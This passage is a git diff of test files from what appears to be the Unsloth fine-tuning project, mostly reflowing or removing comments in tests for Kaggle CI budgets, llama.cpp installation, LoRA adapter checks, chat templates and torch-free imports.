arguing from- # a figure that is no longer true, which is exactly how the "cheap leg yields- # first" priority gets documented backwards. Assert the sentence agrees.+ # The Unsloth block states the notebook leg's reserve in PROSE, so the number lives in two files and one of them is+ # not executable. Raising the notebook reserve without touching that sentence leaves the Unsloth budget arguing from+ # a figure that is no longer true, which is exactly how the "cheap leg yields first" priority gets documented+ # backwards. Assert the sentence agrees.assert "reserve-hours is 10 rather than the notebook leg's 20" in studio- # Both budget blocks must name the other leg. Two independently-tuned- # rates against one account is how the 50h ceiling gets exceeded by- # accident.+ # Both budget blocks must name the other leg.assert "kaggle-t4-studio-gpu-ci.yml" in notebookassert "kaggle-t4-notebook-ci.yml" in studio@@ -948,8 +942,8 @@ def test_the_two_legs_together_fit_inside_the_ci_allowance():notebook_spend = 231 * rate(notebook) * 0.25 # busy week, the pessimistic endassert studio_spend > notebook_spendassert studio_spend + notebook_spend <= 50.0- # And with margin, because the ceiling is enforced by a quota read that- # only sees the account AFTER the hours are gone.+ # And with margin, because the ceiling is enforced by a quota read that only sees the account AFTER the hours are+ # gone.assert studio_spend + notebook_spend <= 40.0@@ -990,15 +984,15 @@ def test_the_gate_and_launcher_are_the_shared_ones():assert not (CI_DIR / "launch.py").exists()-# ------------------------------------------------------------------ report--_PASSING = [{"label": "studio-gpu", "passed": True, "assertions": []}]_FAILING = [{"label": "studio-gpu", "passed": False, "failures": ["x"], "assertions": []}]# A training leg from the merged kernel. Not this reporter's payload._LEG = [{"label": "control", "passed": False, "steps": []}]+# ------------------------------------------------------------------ report++@pytest.mark.parametrize(("verdict", "reports", "expected_exit"),[@@ -1218,13 +1212,18 @@ def test_the_ui_driver_gets_a_freshly_seeded_account():), "the password must be read after the restart, or it is the old one"+# The llama.cpp install step.+# Four hardware runs reported install_kind=None and failed the export assertion for it, because nothing had ever+# installed a llama.cpp under STUDIO_HOME.+# install_llama_prebuilt.py resolves a real "linux-cuda" kind on an x64 CUDA host, so the bundle was available the whole+# time and simply never fetched.++# The llama.cpp install step. Four hardware runs reported install_kind=None and# failed the export assertion for it, because nothing had ever installed a# llama.cpp under STUDIO_HOME. install_llama_prebuilt.py resolves a real# "linux-cuda" kind on an x64 CUDA host, so the bundle was available the whole# time and simply never fetched.--def _load_payload():"""Import run_studio_gpu under a private name.@@ -1307,10 +1306,7 @@ def test_the_llama_cpp_install_actually_invokes_the_installer(tmp_path, monkeyparecorded = [entry for entry in session.assertions if entry["name"] == "llama_cpp_install"]assert len(recorded) == 1assert recorded[0]["llama_cpp_install_kind"] == "cuda13"- # install.sh --local claims to put a llama.cpp on disk. Recording what- # was there first is what keeps "install.sh installed nothing" and- # "install.sh installed a CPU bundle" distinguishable once this step- # fixes both.+ # install.sh --local claims to put a llama.cpp on disk.assert "install_kind_before" in recorded[0]@@ -1354,8 +1350,7 @@ def test_a_failed_llama_cpp_install_does_not_stop_the_run():"a llama.cpp install failure now aborts the run, so a box that cannot ""install the bundle reports nothing about inference, training or the UI")- # And it must happen before the server, so the export route never sees a- # llama.cpp appear underneath it.+ # And it must happen before the server, so the export route never sees a llama.cpp appear underneath it.assert body.index("self.install_llama_cpp()") < body.index("self.start_server()")@@ -1635,11 +1630,8 @@ def test_a_loaded_list_alone_is_enough_to_unload(tmp_path, monkeypatch):# ------------------------------------------------- the evidence the launcher left#-# The launcher collects each kernel into its own subdirectory, and the-# workflow hands collect_evidence.py the parent. A non-recursive walk of that-# parent finds nothing at all.--+# The launcher collects each kernel into its own subdirectory and the workflow hands collect_evidence.py the parent, so+# a non-recursive walk of that parent finds nothing at all.def test_the_bundle_is_found_in_the_per_kernel_directory_the_launcher_writes(tmp_path):"""launch.py::fetch_evidence writes kaggle_evidence/<slug>/..., and theworkflow passes kaggle_evidence. A top-level glob reported every real run@@ -1804,8 +1796,7 @@ def test_the_payload_can_find_a_llama_server_in_the_process_table(tmp_path):executable = sys.executable,)try:- # Only the discovery mechanism is exercised here; the name match is- # what the real llama-server supplies.+ # Only the discovery mechanism is exercised here; the name match is what the real llama-server supplies.assert isinstance(module.llama_server_pids(), list)finally:proc.kill()@@ -1833,7 +1824,6 @@ def test_an_earlier_loads_offload_line_is_not_evidence_for_the_next(tmp_path):scoped = module.studio_log_text(server_log, home, since = marks)assert "offloaded" not in scopedassert gpu_assert.offloaded_layers(scoped) is None- # And the whole file still reads back when nothing is scoped away.assert "offloaded" in module.studio_log_text(server_log, home)diff --git a/tests/kaggle/test_t4_payload_assertions.py b/tests/kaggle/test_t4_payload_assertions.pyindex 4c3629e45cc..f496e4ead2a 100644--- a/tests/kaggle/test_t4_payload_assertions.py+++ b/tests/kaggle/test_t4_payload_assertions.py@@ -367,7 +367,6 @@ def test_an_adapter_peft_would_ignore_on_reload_does_not_pass(tmp_path):)broken = verify_saved_adapter(tmp_path, peft_keys = keys)- # Everything the bytes alone can say is unchanged.assert broken["tensors"] == good["tensors"]assert broken["nonzero_b_tensors"] == good["nonzero_b_tensors"] > 0assert broken["non_finite_tensors"] == []@@ -420,8 +419,8 @@ def test_the_adapter_check_reads_a_real_file_it_just_wrote(tmp_path):failures = saved_adapter_failures(state)assert failures and "saved lora_B matrices is zero" in failures[0]- # The same file with a B matrix an optimizer moved, the only difference- # between an adapter that carries training and one that does not.+ # The same file with a B matrix an optimizer moved, the only difference between an adapter that carries training and+ # one that does not.save_file({"base_model.model.layers.0.self_attn.q_proj.lora_A.weight": torch.ones(16, 8),@@ -507,7 +506,6 @@ def test_an_adapter_config_for_a_different_adapter_than_the_one_trained_fails(tmfailures = saved_adapter_failures(state)assert failures and "different adapter than the one that was trained" in failures[0]- # The same file, saved as requested: no difference and no failure.(tmp_path / "adapter_config.json").write_text(json.dumps({"peft_type": "LORA", **requested}))good = verify_saved_adapter(tmp_path, expected = requested, peft_keys = keys)assert good["config_differences"] == []@@ -657,7 +655,6 @@ def test_a_run_that_cannot_name_its_card_is_refused_not_waved_through(tmp_path,),encoding = "utf-8",)- # Metrics identical to the reference, so nothing else can be what fails.observed = [{"step": s, "loss": 1.0 / s, "grad_norm": 3.0} for s in (1, 2, 3)]verdict = check_reference(observed,@@ -690,8 +687,8 @@ def test_the_committed_reference_names_the_card_the_gate_reads(tmp_path):REFERENCE_CONFIG = {"max_steps": 3,- # The rows, not the path: what trained is part of which experiment the- # trace is a trace of, and the payload records a digest of them.+ # The rows, not the path: what trained is part of which experiment the trace is a trace of, and the payload records+ # a digest of them."dataset_digest": "d" * 64,"init_loss_scale": 0.0,"batch_size": 2,@@ -769,9 +766,8 @@ def test_a_reference_that_predates_a_setting_does_not_refuse_on_it(tmp_path):observed = [{"step": s, "loss": 1.0 / s, "grad_norm": 3.0} for s in (1, 2, 3)]verdict = check_reference(observed, ref, 0.10, 0.05, max_steps = 3, config = REFERENCE_CONFIG)assert verdict["status"] == "ok"- # `model` too: the helper's reference names one and this call observed none,- # and a pin present on one side only did not run, so it is recorded rather- # than skipped in silence.+ # `model` too: the helper's reference names one and this call observed none, and a pin present on one side only did+ # not run, so it is recorded rather than skipped in silence.assert verdict["config_unchecked"] == ["gradient_checkpointing", "model"]@@ -867,7 +863,6 @@ def test_a_pin_the_run_could_not_read_is_recorded_as_unchecked(tmp_path):verdict = check_reference(observed, ref, 0.10, 0.05, max_steps = 3)assert verdict["status"] == "ok"assert "resolved_revision" in verdict["config_unchecked"]- # Neither side claims a checkpoint, so there is nothing to report on it.assert "resolved_checkpoint" not in verdict["config_unchecked"]@@ -906,9 +901,6 @@ def test_the_committed_reference_pins_the_model_it_was_captured_on():assert reference["model"] == DEFAULT_MODEL-# -------------------------------------------- run_t4_smoke.py: main() paths--def _batch_record(**over):"""A healthy batched-generation record, with fields overridable per test."""base = {@@ -929,6 +921,9 @@ def _batch_record(**over):return base+# -------------------------------------------- run_t4_smoke.py: main() paths++def _cycle(index: int, losses: list[float]) -> dict:return {"run_index": index,@@ -991,7 +986,6 @@ def test_every_requested_repeat_is_compared_against_the_baseline(monkeypatch, tmassert repro["compared_cycles"] == ["1", "2"]assert repro["cycles"]["1"]["identical"] is Trueassert repro["cycles"]["2"]["identical"] is False- # The keys report.py renders off this dict, unchanged in shape.assert repro["identical"] is Falseassert repro["first_diff_step"] == 3assert repro["max_abs_diff"]["loss"] == 98.0@@ -1488,8 +1482,7 @@ def test_a_non_finite_lora_weight_is_not_read_as_a_successful_update(bad):assert update["ok"] is Falseassert update["non_finite"] is True- # And it beats a healthy grad_norm, which says nothing about weights that- # went non-finite two steps later.+ # And it beats a healthy grad_norm, which says nothing about weights that went non-finite two steps later.healthy = [{"step": s, "loss": 1.0, "grad_norm": 2.0} for s in (1, 2)]assert update_verdict(healthy, update)["verdict"] == "non_finite"assert update_verdict([], update)["verdict"] == "non_finite"diff --git a/tests/notebooks/test_colab_oracle_drift.py b/tests/notebooks/test_colab_oracle_drift.pyindex faa2ed9266a..c26e9e9c348 100644--- a/tests/notebooks/test_colab_oracle_drift.py+++ b/tests/notebooks/test_colab_oracle_drift.py@@ -128,7 +128,6 @@ def test_refresh_without_all_still_writes_only_pip(oracle, tmp_path):"""Back-compat: notebooks-ci.yml still calls the single-file form to feed`lint --colab-pin` live data."""_, _ = oracle- # A dir of its own: the fixture pre-seeds tmp_path with all three snapshots.dest = tmp_path / "pip_only"out = dest / "just_pip.txt"rc = nv.cmd_refresh_colab(argparse.Namespace(all = False, snapshot_dir = str(dest), out = str(out)))@@ -147,8 +146,7 @@ def test_workflow_diffs_before_it_refreshes():nxt = re.search(r"^ [A-Za-z0-9_-]+:$", rest, re.M)body = rest[: nxt.start()] if nxt else rest- # Match the invocations, not the prose: both steps are described in- # comments that name the other subcommand.+ # Match the invocations, not the prose: both steps are described in comments that name the other subcommand.def _at(sub):m = re.search(rf"notebook_validator\.py {sub}\b", body)return m.start() if m else -1@@ -214,13 +212,11 @@ def test_cron_lint_survives_a_strict_drift_failure():for step in ("Refresh Colab oracle", "Lint with live PyPI metadata"):at = body.index(f"- name: {step}")assert at > strict_at, f"{step} must stay after the strict gate"- # the step's own block, up to the next `- name:`blk = body[at:]end = blk.find("\n - name:", 1)blk = blk[:end] if end != -1 else blk- # Match the directive on a line of its own: the step's own comment- # explains `if: always()` in prose, and a substring test would happily- # pass on that after the directive itself had been deleted.+ # Match the directive on a line of its own: the step's own comment explains `if: always()` in prose, and a+ # substring test would happily pass on that after the directive itself had been deleted.assert re.search(r"^\s*if: always\(\)\s*$", blk, re.M), f"{step} would be skipped when strict drift fires"diff --git a/tests/notebooks/test_validator_fixtures.py b/tests/notebooks/test_validator_fixtures.pyindex 5c8c700fc33..84a5f0b25a1 100644--- a/tests/notebooks/test_validator_fixtures.py+++ b/tests/notebooks/test_validator_fixtures.py@@ -231,11 +231,8 @@ def _live_notebooks_dir(candidates: list[Path] | None = None) -> Path | None:Path("/mnt/disks/unslothai/ubuntu/workspace_12/notebooks"),]for p in candidates:- # is_file() only swallows ENOENT/ENOTDIR; an unreadable candidate raises- # EACCES on Python <= 3.13 (3.14 suppresses it, gh-101357). These are- # absolute paths outside the repo, so on a shared machine one can belong- # to another user. The skipif decorators below call this at import time,- # so a raise here aborts collection of the whole file.+ # is_file() only swallows ENOENT/ENOTDIR;+ # an unreadable candidate raises EACCES on Python <= 3.13 (3.14 suppresses it, gh-101357).try:if (p / "update_all_notebooks.py").is_file():return pdiff --git a/tests/python/test_bitsandbytes_kernel_readiness.py b/tests/python/test_bitsandbytes_kernel_readiness.pyindex fe595f150d1..d3b756518d1 100644--- a/tests/python/test_bitsandbytes_kernel_readiness.py+++ b/tests/python/test_bitsandbytes_kernel_readiness.py@@ -155,9 +155,8 @@ def test_the_ctypes_binds_are_gated_on_the_same_verdict():"if bnb is None or not native_kernels_ready(bnb, DEVICE_TYPE):" in source), "the ctypes bind block must take the _bnb_required branch on a dead library too"guarded = source.split("if bnb is None or not native_kernels_ready(bnb, DEVICE_TYPE):")[1]- # Anchor on the symbol, not the module alias: #7580 renamed the binding from- # `bnb.functional.lib` to `bnb_functional.lib`, which is exactly the kind of rename- # this assertion should survive.+ # Anchor on the symbol, not the module alias: #7580 renamed the binding from `bnb.functional.lib` to+ # `bnb_functional.lib`, which is exactly the kind of rename this assertion should survive.assert "lib.cdequantize_blockwise_fp32" in guarded, "the binds must sit under that guard"@@ -166,12 +165,11 @@ def test_the_kernel_check_reads_the_submodule_not_the_parent_attribute():the submodule stays in sys.modules, which ``import bitsandbytes.functional`` readsdirectly."""probe = _load_probe()- bnb = types.ModuleType("bitsandbytes") # zombie: parent has no `functional`+ bnb = types.ModuleType("bitsandbytes")bnb.__version__ = "0.50.0"import sysreal = sys.modules.get("bitsandbytes.functional")if real is None:return # bitsandbytes not importable here; the fallback has nothing to read- # Falls back to the cached submodule instead of raising on the missing attribute.assert probe.native_kernels_ready(bnb, "cuda") in (True, False)diff --git a/tests/python/test_change_system_message.py b/tests/python/test_change_system_message.pyindex 23430b03c5b..9d9b0e7c2c2 100644--- a/tests/python/test_change_system_message.py+++ b/tests/python/test_change_system_message.py@@ -40,8 +40,8 @@ def test_custom_template_fills_placeholder():def test_custom_template_preserves_backslashes():- # str.replace not re.sub: re.sub treats backslashes specially (r"C:\Users"- # bad-escape, r"\1" group ref), so messages must be inserted verbatim.+ # str.replace not re.sub: re.sub treats backslashes specially (r"C:\Users" bad-escape, r"\1" group ref), so messages+ # must be inserted verbatim.fn = _load_change_system_message()for msg in (r"C:\Users\me", r"\frac{a}{b}", r"see \1 here"):template, used = fn("System: {system_message}", CUSTOM, msg)@@ -72,11 +72,11 @@ def test_predefined_template_uses_default_then_override():def test_predefined_template_escapes_but_custom_does_not():- # Predefined templates hold {system_message} inside a Jinja literal, so it is escaped;- # a custom template's placeholder may be raw text, so it stays verbatim.+ # Predefined templates hold {system_message} inside a Jinja literal, so it is escaped; a custom template's+ # placeholder may be raw text, so it stays verbatim.fn = _load_change_system_message()msg = """it's a \\test "x"."""predefined, used = fn("System: {system_message}", "unsloth", msg)assert predefined == """System: it\\'s a \\\\test \\"x\\"."""- assert used == msg # returned message is the raw one, not the escaped source+ assert used == msgassert fn("System: {system_message}", CUSTOM, msg)[0] == f"System: {msg}"diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.pyindex ad6cba07ecc..74750741100 100644--- a/tests/python/test_construct_chat_template_validation.py+++ b/tests/python/test_construct_chat_template_validation.py@@ -66,7 +66,6 @@ def test_error_message_excerpt_is_bounded():extra_eos_tokens = ["</s>"],)msg = str(exc_info.value)- # Excerpt is capped well under the template length.assert len(msg) < 1000assert "{OUTPUT}" in msg@@ -86,9 +85,7 @@ class _SuccessFakeTokenizer(_FakeTokenizer):@pytest.mark.parametrize("chat_template",[- # User turn begins with {INPUT} (no prefix before the sentinel)."{INPUT} [/INST] {OUTPUT}</s>{INPUT} [/INST] {OUTPUT}</s>",- # Assistant turn begins with {OUTPUT} (no prefix before the sentinel)."User: {INPUT}\n{OUTPUT}</s>User: {INPUT}\n{OUTPUT}</s>",],)@@ -294,7 +291,6 @@ def test_quotes_and_backslashes_survive_into_the_jinja_template(default_system_massert default_system_message in renderedassert "### User's turn: Hi" in rendered- # The generation prompt uses its own literal, not process().prompted = _render(jinja_template,[{"role": "user", "content": "Hi"}],diff --git a/tests/python/test_cpo_processor_text_tokenizer.py b/tests/python/test_cpo_processor_text_tokenizer.pyindex 9440cba28a1..3ee194c446b 100644--- a/tests/python/test_cpo_processor_text_tokenizer.py+++ b/tests/python/test_cpo_processor_text_tokenizer.py@@ -65,10 +65,9 @@ def _load_pad_rewriter():def test_pad_token_default_routed_through_inner_tokenizer():- # TRL 1.x CPO/ORPO __init__ defaults pad_token from eos_token before- # tokenizing; on a multimodal processor those live on `.tokenizer`. The- # rewrite must route both the default and pad_token_id through the inner- # tokenizer so a processor without bare pad_token does not AttributeError.+ # TRL 1.x CPO/ORPO __init__ defaults pad_token from eos_token before tokenizing; on a multimodal processor those+ # live on `.tokenizer`. The rewrite must route both the default and pad_token_id through the inner tokenizer so a+ # processor without bare pad_token does not AttributeError.rewrite = _load_pad_rewriter()init_src = ("def __init__(self, model, args, processing_class):\n"@@ -82,12 +81,12 @@ def test_pad_token_default_routed_through_inner_tokenizer():assert "_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)" in out# bare pad_token_id must be routed through the getattr fallback, not left rawassert "= processing_class.pad_token_id\n" not in out- ast.parse(out) # rewritten source still compiles+ ast.parse(out)def test_pad_rewrite_noop_without_bare_pad_block():- # Older TRL (the pinned <=0.24.0 range) has no bare pad_token block; the- # rewrite must only touch pad_token_id and leave everything else intact.+ # Older TRL (the pinned <=0.24.0 range) has no bare pad_token block; the rewrite must only touch pad_token_id and+ # leave everything else intact.rewrite = _load_pad_rewriter()init_src = ("def __init__(self, model, args, processing_class):\n"@@ -95,5 +94,5 @@ def test_pad_rewrite_noop_without_bare_pad_block():)out = rewrite("__init__", init_src)assert "_unsloth_proc_tok" not in out- assert "= processing_class.pad_token_id\n" not in out # still routed via fallback+ assert "= processing_class.pad_token_id\n" not in outast.parse(out)diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.pyindex 309f70d5c7b..6e14bf8af09 100644--- a/tests/python/test_e2e_no_torch_sandbox.py+++ b/tests/python/test_e2e_no_torch_sandbox.py@@ -30,7 +30,6 @@ VLM_PROCESSING = DATASETS_DIR / "vlm_processing.py"ITERABLE = DATASETS_DIR / "iterable.py"HARDWARE_PY = HARDWARE_DIR / "hardware.py"-# Unsloth venv for server testsSTUDIO_VENV = Path.home() / ".unsloth" / "studio" / "unsloth_studio"sys.path.insert(0, str(STUDIO_DIR))@@ -166,14 +165,9 @@ def no_torch_venv(request, tmp_path_factory):return str(py)-# Group 1: BEFORE vs AFTER -- Import Chain--class TestBeforeAfterImportChain:"""BEFORE (synthetic top-level torch import) crashes; AFTER (lazy imports) works."""- # -- BEFORE: crashes ---def test_before_chat_templates_crashes(self, no_torch_venv, sandbox_dir):"""BEFORE: chat_templates.py with top-level IterableDataset import crashes without torch."""source = CHAT_TEMPLATES.read_text(encoding = "utf-8")@@ -229,19 +223,16 @@ class TestBeforeAfterImportChain:pkg_dir = sandbox_dir / "utils" / "datasets"pkg_dir.mkdir(parents = True, exist_ok = True)- # Copy torch-free modules as-isshutil.copy2(FORMAT_DETECTION, pkg_dir / "format_detection.py")shutil.copy2(MODEL_MAPPINGS, pkg_dir / "model_mappings.py")shutil.copy2(VLM_PROCESSING, pkg_dir / "vlm_processing.py")- # BEFORE data_collators: prepend top-level 'import torch'dc_source = DATA_COLLATORS.read_text(encoding = "utf-8")(pkg_dir / "data_collators.py").write_text("import torch\n" + dc_source,encoding = "utf-8",)- # BEFORE chat_templates: prepend top-level IterableDataset importct_source = CHAT_TEMPLATES.read_text(encoding = "utf-8")(pkg_dir / "chat_templates.py").write_text("from torch.utils.data import IterableDataset\n" + ct_source,@@ -266,8 +257,6 @@ class TestBeforeAfterImportChain:assert result.returncode != 0, "BEFORE full import chain should crash without torch"assert b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr- # -- AFTER: succeeds ---def test_after_chat_templates_imports(self, no_torch_venv):"""AFTER: PR branch chat_templates.py imports fine without torch."""code = textwrap.dedent(f"""\@@ -321,7 +310,6 @@ class TestBeforeAfterImportChain:pkg_dir = sandbox_dir / "utils" / "datasets"pkg_dir.mkdir(parents = True, exist_ok = True)- # Copy AFTER versions (PR branch -- no top-level torch)for src in [FORMAT_DETECTION,MODEL_MAPPINGS,@@ -369,9 +357,6 @@ class TestBeforeAfterImportChain:assert b"OK: full import chain succeeded" in result.stdout-# Group 2: Dataclass Instantiation--class TestDataclassInstantiation:"""Dataclass collators instantiate and constants are accessible without torch."""@@ -453,9 +438,6 @@ class TestDataclassInstantiation:assert result.returncode == 0, f"Failed:\n{result.stderr.decode()}"-# Group 3: Edge Cases -- Partial/Broken Torch--class TestEdgeCasesBrokenTorch:"""Behavior with fake or broken torch modules on sys.path."""@@ -590,9 +572,6 @@ class TestEdgeCasesBrokenTorch:assert b"OK: import succeeded" in result.stdout-# Group 4: Hardware Detection Without Torch--class TestHardwareDetectionNoTorch:"""Hardware module works without torch, falling back to CPU."""@@ -642,7 +621,6 @@ class TestHardwareDetectionNoTorch:_write_structlog_stub(sandbox_dir)_write_hardware_stub(sandbox_dir)- # Copy the real hardware module into a sandbox packagehw_sandbox = sandbox_dir / "hw_pkg"hw_sandbox.mkdir()(hw_sandbox / "__init__.py").write_text("", encoding = "utf-8")@@ -664,9 +642,6 @@ class TestHardwareDetectionNoTorch:assert b"OK:" in result.stdout-# Group 5: install.sh Logic (via bash subprocess)--class TestInstallShLogic:"""install.sh flag parsing, platform detection, and guard logic."""@@ -692,7 +667,6 @@ class TestInstallShLogic:doneecho "$_USER_PYTHON"""")- # --python 3.12r = _run_sh(f"{script}" + "\n", timeout = 10)r = subprocess.run(["bash", "-c", script + "\n", "_", "--python", "3.12"],@@ -701,7 +675,6 @@ class TestInstallShLogic:)assert r.stdout.strip() == b"3.12"- # --local --python 3.11r = subprocess.run(["bash", "-c", script + "\n", "_", "--local", "--python", "3.11"],capture_output = True,@@ -709,7 +682,6 @@ class TestInstallShLogic:)assert r.stdout.strip() == b"3.11"- # no --python flagr = subprocess.run(["bash", "-c", script + "\n", "_", "--local"],capture_output = True,@@ -763,7 +735,6 @@ class TestInstallShLogic:fiecho "$PYTHON_VERSION"""")- # Intel Mac, no overrider = subprocess.run(["bash", "-c", script + "\n", "_", "true", ""],capture_output = True,@@ -771,7 +742,6 @@ class TestInstallShLogic:)assert r.stdout.strip() == b"3.12"- # non-Intel, no overrider = subprocess.run(["bash", "-c", script + "\n", "_", "false", ""],capture_output = True,@@ -779,7 +749,6 @@ class TestInstallShLogic:)assert r.stdout.strip() == b"3.13"- # Intel Mac with --python overrider = subprocess.run(["bash", "-c", script + "\n", "_", "true", "3.11"],capture_output = True,@@ -828,7 +797,6 @@ class TestInstallShLogic:fiecho "$SHOULD_RECREATE"""")- # with override: should NOT recreater = subprocess.run(["bash", "-c", script + "\n", "_", "3.11"],capture_output = True,@@ -836,7 +804,6 @@ class TestInstallShLogic:)assert r.stdout.strip() == b"false"- # without override: SHOULD recreater = subprocess.run(["bash", "-c", script + "\n", "_", ""],capture_output = True,@@ -845,9 +812,6 @@ class TestInstallShLogic:assert r.stdout.strip() == b"true"-# Group 6: install_python_stack.py NO_TORCH Filtering--class TestInstallPythonStackFiltering:"""NO_TORCH filtering logic in install_python_stack.py."""@@ -866,7 +830,7 @@ class TestInstallPythonStackFiltering:result_path = Path(ips._filter_requirements(extras, ips.NO_TORCH_SKIP_PACKAGES))filtered = result_path.read_text(encoding = "utf-8").lower()- result_path.unlink() # written beside extras.txt; do not leave it in the tree+ result_path.unlink()lines = [l.strip() for l in filtered.splitlines() if l.strip() and not l.strip().startswith("#")]@@ -898,23 +862,19 @@ class TestInstallPythonStackFiltering:"""UNSLOTH_NO_TORCH=true on Linux -> True; =false on Intel Mac -> False."""import install_python_stack as ips- # Explicit true on Linuxwith (mock.patch.dict(os.environ, {"UNSLOTH_NO_TORCH": "true"}),mock.patch.object(ips, "IS_MAC_INTEL", False),):assert ips._infer_no_torch() is True- # explicit false on Intel Macwith (mock.patch.dict(os.environ, {"UNSLOTH_NO_TORCH": "false"}),mock.patch.object(ips, "IS_MAC_INTEL", True),):assert ips._infer_no_torch() is False- # Unset on Intel Mac -> True (platform fallback). Pin the manifest tier to- # "unknown" first, or this reads the manifest of whatever venv pytest runs- # in and the result depends on the developer's machine.+ # Unset on Intel Mac -> True (platform fallback).env = os.environ.copy()env.pop("UNSLOTH_NO_TORCH", None)with (@@ -932,15 +892,11 @@ class TestInstallPythonStackFiltering:assert "if NO_TORCH:" in source, "NO_TORCH guard not found in install_python_stack.py"- # macOS guard for tritonassert ("not IS_WINDOWS and not IS_MACOS" in source), "'not IS_WINDOWS and not IS_MACOS' guard for triton not found"-# Group 7: Live Server Startup -- Heavyweight--def _studio_venv_python() -> Path | None:"""Return the studio venv Python path, or None if not found."""py = _venv_python(STUDIO_VENV)@@ -1013,7 +969,6 @@ class TestLiveServerStartup:cwd = str(backend_dir),)- # Wait for server to be ready (poll /api/health)import urllib.requestimport urllib.error@@ -1049,7 +1004,6 @@ class TestLiveServerStartup:yield proc, port- # Cleanup: stop server, reinstall torchproc.terminate()try:proc.wait(timeout = 10)diff --git a/tests/python/test_embed_lm_head_target_modules_redirect.py b/tests/python/test_embed_lm_head_target_modules_redirect.pyindex 665e43ab5cd..ff2748f5187 100644--- a/tests/python/test_embed_lm_head_target_modules_redirect.py+++ b/tests/python/test_embed_lm_head_target_modules_redirect.py@@ -63,11 +63,9 @@ def _run_redirect_check(new_model_path: bool, target_modules):assert any("embed_tokens" in m for m in saved_modules), saved_modules- # target_modules should no longer carry the embedding modulesassert "embed_tokens" not in config.target_modules, config.target_modulesassert "lm_head" not in config.target_modules, config.target_modules- # Attention/MLP LoRA adapters should still be presentassert any("layers.0.self_attn.q_proj.lora_A" in k for k in state)# embed_tokens/lm_head must be trainable via ModulesToSave, not LoRA@@ -126,8 +124,8 @@ def test_a_repeat_call_with_the_same_targets_still_passes_through():model.peft_config["default"], "modules_to_tie", None), "tied model did not redirect lm_head; this guard would check nothing"model = FastLanguageModel.get_peft_model(model, **kwargs)- # Same configuration, written the other way round: the embeddings named directly- # in modules_to_save rather than reached through the redirect.+ # Same configuration, written the other way round: the embeddings named directly in modules_to_save rather than+ # reached through the redirect.model = FastLanguageModel.get_peft_model(model,r = 8,@@ -229,7 +227,6 @@ def test_flipping_ensure_weight_tying_is_seen_as_a_different_request():), "model is not tied here; this guard would check nothing"with pytest.raises(TypeError, match = "parameters are different"):FastLanguageModel.get_peft_model(model, ensure_weight_tying = False, **kwargs)- # Asking for the mode it already has is still the same request.FastLanguageModel.get_peft_model(model, ensure_weight_tying = True, **kwargs)finally:del model@@ -259,7 +256,6 @@ def test_a_classification_repeat_call_is_not_tripped_by_peft_added_modules():"score" in saved or "classifier" in saved), f"PEFT did not add its classifier modules ({saved}); this guard checks nothing"FastLanguageModel.get_peft_model(model, r = 8, lora_alpha = 16, target_modules = list(core))- # A genuinely different request is still rejected.with pytest.raises(TypeError, match = "parameters are different"):FastLanguageModel.get_peft_model(model, r = 8, lora_alpha = 16, target_modules = ["q_proj"])finally:diff --git a/tests/python/test_fast_language_model_text_only.py b/tests/python/test_fast_language_model_text_only.pyindex 08e5cdf0dc9..046f9197224 100644--- a/tests/python/test_fast_language_model_text_only.py+++ b/tests/python/test_fast_language_model_text_only.py@@ -55,7 +55,6 @@ def _names_in(node):def _param_default(method, name):- # Default-value AST node for a named parameter, or None.args = method.argsparams = list(args.args) + list(args.kwonlyargs)defaults = list(args.defaults) + list(args.kw_defaults)@@ -63,8 +62,8 @@ def _param_default(method, name):def _load_text_only_namespace():- # Exec the _utils text-only helpers into one namespace (no unsloth import),- # in dependency order so cross-references resolve.+ # Exec the _utils text-only helpers into one namespace (no unsloth import), in dependency order so cross-references+ # resolve.source = _source(UTILS_PATH)import transformersfrom packaging.version import Version@@ -212,7 +211,6 @@ def test_gemma3_text_only_model_class_resolves_and_has_no_vision_tower():full_config = transformers.Gemma3Config()text_config = helper(full_config, "google/gemma-3-27b-it")- # Shrink for cheap CPU instantiation.text_config.num_hidden_layers = 1text_config.hidden_size = 32text_config.intermediate_size = 32@@ -226,7 +224,6 @@ def test_gemma3_text_only_model_class_resolves_and_has_no_vision_tower():assert hasattr(model, "lm_head"), "text-only Gemma3 model should expose lm_head"- # No vision tower / multimodal projector remains.assert not hasattr(model, "vision_tower"), "text-only Gemma3 model should not have a vision_tower"@@ -299,8 +296,6 @@ def test_text_only_guard_predicate_across_vlm_families():def test_text_only_helper_preserves_quantization_config():- # quantization_config must survive the strip so pre-quantized repos load. A- # sentinel object avoids a bitsandbytes dependency on transformers 4.51.3.transformers = pytest.importorskip("transformers")helper = _load_text_only_helper()config = transformers.Gemma3Config()@@ -328,8 +323,8 @@ def test_text_only_key_mapping_targets_published_prefixes():def test_gemma3_text_only_loads_real_language_weights_from_vlm_checkpoint(tmp_path):- # PR #5816: text-only loading of a Gemma 3 VLM checkpoint must load real- # language weights, not random ones. Fails on tf >=5 without the key_mapping fix.+ # PR #5816: text-only loading of a Gemma 3 VLM checkpoint must load real language weights, not random ones.+ # Fails on tf >=5 without the key_mapping fix.transformers = pytest.importorskip("transformers")torch = pytest.importorskip("torch")import shutil@@ -381,8 +376,8 @@ def test_gemma3_text_only_loads_real_language_weights_from_vlm_checkpoint(tmp_pasave_dir = tmp_path / "vlm"full_model.save_pretrained(save_dir, safe_serialization = True)- # tf >=5 saves under an outer "model." prefix; strip it to reproduce the- # language_model.model.* layout the published Gemma 3 checkpoints use.+ # tf >=5 saves under an outer "model." prefix;+ # strip it to reproduce the language_model.model.* layout the published Gemma 3 checkpoints use.real_dir = tmp_path / "real"real_dir.mkdir()weights = {}diff --git a/tests/python/test_fast_sentence_transformer_embedding_parity.py b/tests/python/test_fast_sentence_transformer_embedding_parity.pyindex 252d4486a58..3e795f66d23 100644--- a/tests/python/test_fast_sentence_transformer_embedding_parity.py+++ b/tests/python/test_fast_sentence_transformer_embedding_parity.py@@ -83,8 +83,8 @@ def test_fast_sentence_transformer_matches_stock_st():texts = _probe_texts()max_seq_length = 256- # Control FIRST, before importing unsloth, so its global import patches never- # touch the stock reference (mirrors the issue's "restart runtime" repro).+ # Control FIRST, before importing unsloth, so its global import patches never touch the stock reference (mirrors the+ # issue's "restart runtime" repro).ctrl = SentenceTransformer(model_id, device = device, model_kwargs = {"torch_dtype": dtype})ctrl.max_seq_length = max_seq_lengthctrl_ids = 